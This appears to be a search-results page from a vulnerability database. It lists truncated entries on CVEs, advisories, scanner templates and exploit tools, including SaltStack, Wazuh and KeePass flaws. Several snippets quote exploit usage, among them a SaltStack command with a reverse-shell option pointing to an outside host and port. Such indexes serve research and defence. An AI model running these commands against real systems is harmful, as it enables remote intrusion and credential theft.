Lucene search
+L

7645 matches found

Kitploit
Kitploit
added 2026/08/28 3:43 p.m.3 views

CVE-2026-25769

🚨 CVE-2026-25769 - Wazuh Unsichere Deserialisierung RCE Kritische Worker ➜ Master Remote-Codeausführung im Wazuh-Clustermodus Unsichere Deserialisierung in der Wazuh-Cluster-Kommunikation ermöglicht einem kompromittierten Worker-Knoten , eine Root-RCE auf dem Master-Knoten zu erreichen. 📌 Überbli...

9.1CVSS7.4AI score0.0879EPSS
SaveExploits4
Kitploit
Kitploit
added 2026/08/28 2:43 p.m.3 views

CVE-2020-11651

CVE-2020-11651 PoC per CVE-2020-11651 Richiede Python3 testato su 3.8 python3.8 -m pip install pyzmq msgpack root@kitploit: ⇒ python3.8 poc.py -h usage: poc.py -h -p PORT -c CMD -k -m -r READ -w WRITE -f FILE server server ... Exploit CVE-2020-11651 positional arguments: server Target Server IP o...

9.8CVSS8.7AI score0.96614EPSS
SaveExploits22
Kitploit
Kitploit
added 2026/08/28 1:28 p.m.2 views

CVE-2023-20564

CVE-2023-20564 - PoC per l'accesso alla memoria fisica tramite il driver AMD Ryzen Master Panoramica Questa repository contiene una Proof of Concept PoC che dimostra la vulnerabilità CVE-2023-20564 nel driver AMD Ryzen Master. La vulnerabilità consente a utenti non privilegiati di leggere e...

6.7CVSS6.9AI score0.00304EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/08/28 1:04 p.m.4 views

BruteForce-to-KeePass

BruteForce-to-KeePass Questo script integra i risultati ottenuti tramite lo strumento keepass-password-dumper quando si sfrutta la vulnerabilità CVE-2023-32784 che colpisce KeePass. Descrizione Questo script chiede all'utente di inserire un elenco di caratteri e un suffisso noto. Genera quindi un...

7.5CVSS7.2AI score0.04397EPSS
SaveExploits5References2
Kitploit
Kitploit
added 2026/08/28 10:51 a.m.3 views

CVE-2020-11651

CVE-2020-11651 PoC für CVE-2020-11651 Erfordert Python3, getestet auf 3.8 python3.8 -m pip install pyzmq msgpack root@kitploit: ⇒ python3.8 poc.py -h usage: poc.py -h -p PORT -c CMD -k -m -r READ -w WRITE -f FILE server server ... Exploit CVE-2020-11651 positional arguments: server Target Server ...

9.8CVSS7.3AI score0.96614EPSS
SaveExploits22
Kitploit
Kitploit
added 2026/08/28 10:23 a.m.3 views

SaltStack-Exp

SaltStack-Exp CVE-2020-11651&&CVE-2020-11652 EXP root@kitploit: Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read...

9.8CVSS7AI score0.96614EPSS
SaveExploits23
EUVD
EUVD
added 2026/08/28 6:53 a.m.3 views

EUVD-2026-67436

In the Linux kernel, the following vulnerability has been resolved: drm/vmwgfx: enforce cursor size limits for MOB cursors vmwcursorplaneatomiccheck bounds cursor width and height only on the legacy update path; the SVGACAP2CURSORMOB path -- the default on modern hosts -- accepts any size. When t...

5.8AI score
SaveExploits0References3
Cvelist
Cvelist
added 2026/08/28 6:00 a.m.6 views

CVE-2026-79615 Quiz And Survey Master < 11.2.4 - Contributor+ Cross-Quiz Question Bank and Answer Key Disclosure via IDOR

The Quiz and Survey Master QSM WordPress plugin before 11.2.4 does not check authorisation when returning question bank entries through one of its REST API routes, allowing users with a role as low as Contributor to read the questions, hints and correct answer keys of quizzes belonging to other...

SaveExploits0References1
Patchstack
Patchstack
added 2026/08/28 6:00 a.m.5 views

WordPress Quiz and Survey Master (QSM) plugin < 11.2.4 - Contributor+ Cross-Quiz Question Bank and Answer Key Disclosure vulnerability

Contributor+ Cross-Quiz Question Bank and Answer Key Disclosure vulnerability discovered by Shikhali Jamalzade in WordPress Plugin Quiz And Survey Master versions 11.2.4...

2.7CVSS5.9AI score
SaveExploits0References1Affected Software1
CVE
CVE
added 2026/08/28 6:00 a.m.7 views

CVE-2026-79615

The Quiz and Survey Master QSM WordPress plugin before 11.2.4 does not check authorisation when returning question bank entries through one of its REST API routes, allowing users with a role as low as Contributor to read the questions, hints and correct answer keys of quizzes belonging to other...

2.7CVSS5.9AI score
SaveExploits0References1
EUVD
EUVD
added 2026/08/28 6:00 a.m.3 views

EUVD-2026-67572

The Quiz and Survey Master QSM WordPress plugin before 11.2.4 does not check authorisation when returning question bank entries through one of its REST API routes, allowing users with a role as low as Contributor to read the questions, hints and correct answer keys of quizzes belonging to other...

2.7CVSS5.9AI score
SaveExploits0References1
Kitploit
Kitploit
added 2026/08/28 5:21 a.m.3 views

keepass-exfil-forensics

Esfiltrazione della Memoria di KeePass — Indagine di Network Forensics Recupera i dati esfiltrati dal traffico PCAP invertendo una catena di offuscamento hex → Base64 → XOR utilizzata in uno scenario DFIR CTF reale TryHackMe, quindi sfrutta CVE-2023-32784 per recuperare la password principale di...

7.5CVSS7.2AI score0.04397EPSS
SaveExploits5
Kitploit
Kitploit
added 2026/08/28 5:12 a.m.2 views

keepass_dump

Keepass-Dumper Questa è la mia implementazione PoC per CVE-2023-32784 La mia versione è una porting in Python del PoC di @vdohney con alcune modifiche e funzionalità aggiuntive. Modifiche Una modifica consiste nell'usare stringhe note che possono essere trovate nel file di dump per saltare in mod...

7.5CVSS7.2AI score0.04397EPSS
SaveExploits5References2
Nuclei
Nuclei
added 2026/08/28 4:35 a.m.108 views

TerraMaster TOS < 4.2.06 - User Enumeration

User Enumeration vulnerability in TerraMaster TOS = 4.2.06 allows remote unauthenticated attackers to identify valid users within the system via the username parameter to wizard/initialise.php. id: CVE-2020-28185 info: name: TerraMaster TOS 4.2.06 - User Enumeration author: pussycat0x severity:...

5.3CVSS6.1AI score0.18253EPSS
SaveExploits1References5
Nuclei
Nuclei
added 2026/08/28 4:35 a.m.33 views

ASUSTOR ADM 3.1.0.RFQ3 - SQL Injection

ASUSTOR ADM version 3.1.0.RFQ3 is vulnerable to SQL injection via the albumid parameter in the /photo-gallery/api/album/treelists/ endpoint. An attacker can exploit this vulnerability to execute arbitrary SQL commands on the database, potentially leading to information disclosure or further...

9.8CVSS7.5AI score0.11176EPSS
SaveExploits7References2
Nuclei
Nuclei
added 2026/08/28 4:35 a.m.84 views

Apache Spark - Authentication Bypass

In Apache Spark 2.4.5 and earlier, a standalone resource manager's master may be configured to require authentication spark.authenticate via a shared secret. When enabled, however, a specially-crafted RPC to the master can succeed in starting an application's resources on the Spark cluster, even...

9.8CVSS6.9AI score0.2937EPSS
SaveExploits0References2
Nuclei
Nuclei
added 2026/08/28 4:35 a.m.32 views

Quiz and Survey Master <= 8.1.4 - SQL Injection

ExpressTech Quiz And Survey Master versions up to 8.1.4 contains an SQL injection caused by improper neutralization of special elements used in SQL commands, letting attackers execute arbitrary SQL queries, exploit requires user interaction. id: CVE-2023-28787 info: name: Quiz and Survey Master =...

9.3CVSS7.4AI score0.0196EPSS
SaveExploits0References3
Nuclei
Nuclei
added 2026/08/28 4:35 a.m.26 views

LiteLLM < 1.25.0 - Remote Code Execution

LiteLLM before 1.25.0 allows authenticated users with the master API key to execute arbitrary Python code through the /guardrails/testcustomcode endpoint intended for custom guardrail testing. The endpoint’s insufficient filtering mechanisms can be bypassed, allowing attackers to abuse Python’s...

8.8CVSS6.8AI score0.15056EPSS
SaveExploits2References3
Kitploit
Kitploit
added 2026/08/28 3:54 a.m.2 views

swarm

swarm v0.6.0 English | 中文. Swarm è uno strumento open source modulare e distribuito per test di penetrazione, che utilizza una coda di task distribuita per implementare la comunicazione in un sistema master-slave e MongoDB per l'archiviazione dei dati. È composto da un framework distribuito e da...

5.8AI score
SaveExploits0References3
Kitploit
Kitploit
added 2026/08/28 2:42 a.m.3 views

keepass-password-dumper

KeePass 2.X Master-Passwort-Dumper CVE-2023-32784 Update Die Schwachstelle wurde CVE-2023-32784 zugewiesen und in KeePass 2.54 behoben. Nochmals vielen Dank an Dominik Reichl für seine schnelle Reaktion und den kreativen Fix! Klarstellung: Das Passwort muss über eine Tastatur eingegeben werden,...

7.5CVSS7.3AI score0.04397EPSS
SaveExploits5References7
Rows per page
Query Builder